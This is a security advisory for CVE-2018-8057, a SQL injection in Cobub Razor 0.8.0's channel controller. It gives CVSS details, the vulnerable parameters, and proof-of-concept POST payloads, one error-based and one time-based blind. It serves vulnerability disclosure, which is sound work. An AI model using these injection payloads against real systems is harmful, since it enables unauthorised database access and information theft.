Cobub Razor 0.8.0 SQL injection

2018.04.17
Credit: Kyhvedn
Risk: Medium
Local: No
Remote: Yes
CWE: CWE-89


CVSS Base Score: 7.5/10
Impact Subscore: 6.4/10
Exploitability Subscore: 10/10
Exploit range: Remote
Attack complexity: Low
Authentication: No required
Confidentiality impact: Partial
Integrity impact: Partial
Availability impact: Partial

# Exploit Title: Cobub Razor 0.8.0 SQL injection Vulnerability # Date: 2018-04-14 # Exploit Author: Kyhvedn(yinfengwuyueyi@163.com、kyhvedn@5ecurity.cn) # Vendor Homepage: http://www.cobub.com/ # Software Link: https://github.com/cobub/razor # Version: 0.8.0 # CVE : CVE-2018-8057 The string of the 'channel_name' and 'platform' parameter transmission is completely without check and filter,so if the string is passed, it will lead to the existence of SQL injection vulnerability,This could result in full information disclosure. Code source: /application/controllers/manage/channel.php at line 75-95 The SQL injection type: error-based and AND/OR time-based blind Parameter: channel_name,platform PoC: http://localhost/index.php?/manage/channel/addchannel POST data: 1.channel_name=test" AND (SELECT 1700 FROM(SELECT COUNT(*),CONCAT(0x7171706b71,(SELECT (ELT(1700=1700,1))),0x71786a7671,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)-- JQon&platform=1 2.channel_name=test" AND SLEEP(5)-- NklJ&platform=1


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